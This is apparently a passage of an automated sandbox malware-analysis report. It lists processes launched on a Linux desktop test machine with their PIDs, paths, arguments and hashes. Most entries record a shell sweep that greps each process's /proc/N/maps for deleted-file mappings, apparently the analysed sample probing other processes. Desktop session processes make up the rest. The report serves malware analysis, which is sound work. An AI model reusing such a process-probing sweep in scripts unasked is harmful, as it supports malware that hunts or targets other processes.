Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7348, Parent PID: 6239

General

Start time (UTC):	20:33:11
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/793/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7349, Parent PID: 6239

General

Start time (UTC):	20:33:11
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7349, Parent PID: 6239

General

Start time (UTC):	20:33:11
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/796/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7350, Parent PID: 6239

General

Start time (UTC):	20:33:12
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7350, Parent PID: 6239

General

Start time (UTC):	20:33:12
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/797/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7351, Parent PID: 6239

General

Start time (UTC):	20:33:12
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7351, Parent PID: 6239

General

Start time (UTC):	20:33:12
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/799/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7354, Parent PID: 6239

General

Start time (UTC):	20:33:12
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7354, Parent PID: 6239

General

Start time (UTC):	20:33:12
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/80/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7355, Parent PID: 6239

General

Start time (UTC):	20:33:12
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7355, Parent PID: 6239

General

Start time (UTC):	20:33:12
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/800/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7356, Parent PID: 6239

General

Start time (UTC):	20:33:12
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7356, Parent PID: 6239

General

Start time (UTC):	20:33:12
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/801/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7357, Parent PID: 6239

General

Start time (UTC):	20:33:12
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7357, Parent PID: 6239

General

Start time (UTC):	20:33:12
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/81/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7358, Parent PID: 6239

General

Start time (UTC):	20:33:12
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7358, Parent PID: 6239

General

Start time (UTC):	20:33:12
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/82/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7359, Parent PID: 6239

General

Start time (UTC):	20:33:12
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7359, Parent PID: 6239

General

Start time (UTC):	20:33:12
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/83/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7360, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7360, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/84/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7361, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7361, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/847/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7362, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7362, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/85/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7363, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7363, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/88/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7364, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7364, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/884/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7365, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7365, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/89/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7366, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7366, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/896/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7367, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7367, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/9/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7368, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7368, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/904/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7369, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7369, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/91/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7370, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7370, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/910/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7371, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7371, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/912/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7372, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7372, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/918/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7373, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7373, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/92/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7374, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7374, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/93/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7375, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7375, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/936/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7376, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7376, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/94/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7377, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7377, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/95/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7378, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7378, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/96/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7379, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7379, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/97/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7380, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7380, Parent PID: 6239

General

Start time (UTC):	20:33:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/98/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7381, Parent PID: 6239

General

Start time (UTC):	20:33:14
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7381, Parent PID: 6239

General

Start time (UTC):	20:33:14
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/99/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: gnome-session-binary PID: 6306, Parent PID: 1477

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/usr/libexec/gnome-session-binary
Arguments:	-
File size:	334664 bytes
MD5 hash:	d9b90be4f7db60cb3c2d3da6a1d31bfb

Chronological Activities

Analysis Process: sh PID: 6306, Parent PID: 1477

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	/bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/bin/gnome-shell
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: gnome-shell PID: 6306, Parent PID: 1477

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/usr/bin/gnome-shell
Arguments:	/usr/bin/gnome-shell
File size:	23168 bytes
MD5 hash:	da7a257239677622fe4b3a65972c9e87

Chronological Activities

Analysis Process: gnome-shell PID: 6807, Parent PID: 6306

General

Start time (UTC):	20:32:25
Start date (UTC):	31/12/2024
Path:	/usr/bin/gnome-shell
Arguments:	-
File size:	23168 bytes
MD5 hash:	da7a257239677622fe4b3a65972c9e87

Analysis Process: ibus-daemon PID: 6807, Parent PID: 6306

General

Start time (UTC):	20:32:26
Start date (UTC):	31/12/2024
Path:	/usr/bin/ibus-daemon
Arguments:	ibus-daemon --panel disable --xim
File size:	199088 bytes
MD5 hash:	1e00fb9860b198c73f6e364e3ff16f31

Analysis Process: ibus-daemon PID: 6820, Parent PID: 6807

General

Start time (UTC):	20:32:28
Start date (UTC):	31/12/2024
Path:	/usr/bin/ibus-daemon
Arguments:	-
File size:	199088 bytes
MD5 hash:	1e00fb9860b198c73f6e364e3ff16f31

Analysis Process: ibus-memconf PID: 6820, Parent PID: 6807

General

Start time (UTC):	20:32:28
Start date (UTC):	31/12/2024
Path:	/usr/libexec/ibus-memconf
Arguments:	/usr/libexec/ibus-memconf
File size:	22904 bytes
MD5 hash:	523e939905910d06598e66385761a822

Analysis Process: ibus-daemon PID: 6822, Parent PID: 6807

General

Start time (UTC):	20:32:28
Start date (UTC):	31/12/2024
Path:	/usr/bin/ibus-daemon
Arguments:	-
File size:	199088 bytes
MD5 hash:	1e00fb9860b198c73f6e364e3ff16f31

Analysis Process: ibus-daemon PID: 6823, Parent PID: 6822

General

Start time (UTC):	20:32:28
Start date (UTC):	31/12/2024
Path:	/usr/bin/ibus-daemon
Arguments:	-
File size:	199088 bytes
MD5 hash:	1e00fb9860b198c73f6e364e3ff16f31

Analysis Process: ibus-x11 PID: 6823, Parent PID: 1

General

Start time (UTC):	20:32:28
Start date (UTC):	31/12/2024
Path:	/usr/libexec/ibus-x11
Arguments:	/usr/libexec/ibus-x11 --kill-daemon
File size:	100352 bytes
MD5 hash:	2aa1e54666191243814c2733d6992dbd

Analysis Process: ibus-daemon PID: 7128, Parent PID: 6807

General

Start time (UTC):	20:32:56
Start date (UTC):	31/12/2024
Path:	/usr/bin/ibus-daemon
Arguments:	-
File size:	199088 bytes
MD5 hash:	1e00fb9860b198c73f6e364e3ff16f31

Analysis Process: ibus-engine-simple PID: 7128, Parent PID: 6807

General

Start time (UTC):	20:32:57
Start date (UTC):	31/12/2024
Path:	/usr/libexec/ibus-engine-simple
Arguments:	/usr/libexec/ibus-engine-simple
File size:	14712 bytes
MD5 hash:	0238866d5e8802a0ce1b1b9af8cb1376

Analysis Process: gnome-session-binary PID: 6333, Parent PID: 1477

General

Start time (UTC):	20:32:01
Start date (UTC):	31/12/2024
Path:	/usr/libexec/gnome-session-binary
Arguments:	-
File size:	334664 bytes
MD5 hash:	d9b90be4f7db60cb3c2d3da6a1d31bfb

Analysis Process: sh PID: 6333, Parent PID: 1477

General

Start time (UTC):	20:32:01
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	/bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-media-keys
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: gsd-media-keys PID: 6333, Parent PID: 1477

General

Start time (UTC):	20:32:01
Start date (UTC):	31/12/2024
Path:	/usr/libexec/gsd-media-keys
Arguments:	/usr/libexec/gsd-media-keys
File size:	232936 bytes
MD5 hash:	a425448c135afb4b8bfd79cc0b6b74da

Analysis Process: systemd PID: 6364, Parent PID: 1

General

Start time (UTC):	20:32:05
Start date (UTC):	31/12/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Analysis Process: systemd-hostnamed PID: 6364, Parent PID: 1

General

Start time (UTC):	20:32:05
Start date (UTC):	31/12/2024
Path:	/lib/systemd/systemd-hostnamed
Arguments:	/lib/systemd/systemd-hostnamed
File size:	35040 bytes
MD5 hash:	2cc8a5576629a2d5bd98e49a4b8bef65

Analysis Process: xfce4-session PID: 6537, Parent PID: 1900

General

Start time (UTC):	20:32:07
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Analysis Process: xfwm4 PID: 6537, Parent PID: 1900

General

Start time (UTC):	20:32:07
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfwm4
Arguments:	xfwm4 --display :1.0 --sm-client-id 2389ab8d9-421f-49fc-90ad-c6cc4c15ac4c
File size:	420424 bytes
MD5 hash:	59defa3c00cc30d85ed77b738d55e9da

Analysis Process: xfce4-session PID: 6546, Parent PID: 1900

General

Start time (UTC):	20:32:08
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Analysis Process: xfce4-panel PID: 6546, Parent PID: 1900

General

Start time (UTC):	20:32:08
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-panel
Arguments:	xfce4-panel --display :1.0 --sm-client-id 2b4cc744e-8b9d-436f-9a4a-312b40faa2ec
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Analysis Process: xfce4-panel PID: 6653, Parent PID: 6546

General

Start time (UTC):	20:32:24
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Analysis Process: wrapper-2.0 PID: 6653, Parent PID: 6546

General

Start time (UTC):	20:32:25
Start date (UTC):	31/12/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Analysis Process: xfce4-panel PID: 6655, Parent PID: 6546

General

Start time (UTC):	20:32:25
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Analysis Process: wrapper-2.0 PID: 6655, Parent PID: 6546

General

Start time (UTC):	20:32:25
Start date (UTC):	31/12/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Analysis Process: xfce4-panel PID: 6803, Parent PID: 6546

General

Start time (UTC):	20:32:25
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Analysis Process: wrapper-2.0 PID: 6803, Parent PID: 6546

General

Start time (UTC):	20:32:25
Start date (UTC):	31/12/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Analysis Process: xfce4-panel PID: 6805, Parent PID: 6546

General

Start time (UTC):	20:32:25
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Analysis Process: wrapper-2.0 PID: 6805, Parent PID: 6546

General

Start time (UTC):	20:32:25
Start date (UTC):	31/12/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Analysis Process: wrapper-2.0 PID: 6906, Parent PID: 6805

General

Start time (UTC):	20:32:39
Start date (UTC):	31/12/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	-
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Analysis Process: xfpm-power-backlight-helper PID: 6906, Parent PID: 6805

General

Start time (UTC):	20:32:39
Start date (UTC):	31/12/2024
Path:	/usr/sbin/xfpm-power-backlight-helper
Arguments:	/usr/sbin/xfpm-power-backlight-helper --get-max-brightness
File size:	14656 bytes
MD5 hash:	3d221ad23f28ca3259f599b1664e2427

Analysis Process: xfce4-panel PID: 6808, Parent PID: 6546

General

Start time (UTC):	20:32:26
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Analysis Process: wrapper-2.0 PID: 6808, Parent PID: 6546

General

Start time (UTC):	20:32:26
Start date (UTC):	31/12/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Analysis Process: xfce4-panel PID: 6816, Parent PID: 6546

General

Start time (UTC):	20:32:28
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Analysis Process: wrapper-2.0 PID: 6816, Parent PID: 6546

General

Start time (UTC):	20:32:28
Start date (UTC):	31/12/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Analysis Process: xfce4-session PID: 6553, Parent PID: 1900

General

Start time (UTC):	20:32:08
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Analysis Process: xfdesktop PID: 6553, Parent PID: 1900

General

Start time (UTC):	20:32:08
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfdesktop
Arguments:	xfdesktop --display :1.0 --sm-client-id 29178b886-02e2-48f2-9471-8dbd02206542
File size:	473520 bytes
MD5 hash:	dfb13e1581f80065dcea16f2476f16f2

Analysis Process: xfce4-session PID: 6592, Parent PID: 1900

General

Start time (UTC):	20:32:15
Start date (UTC):	31/12/2024
Path:	/usr/bin/xfce4-session
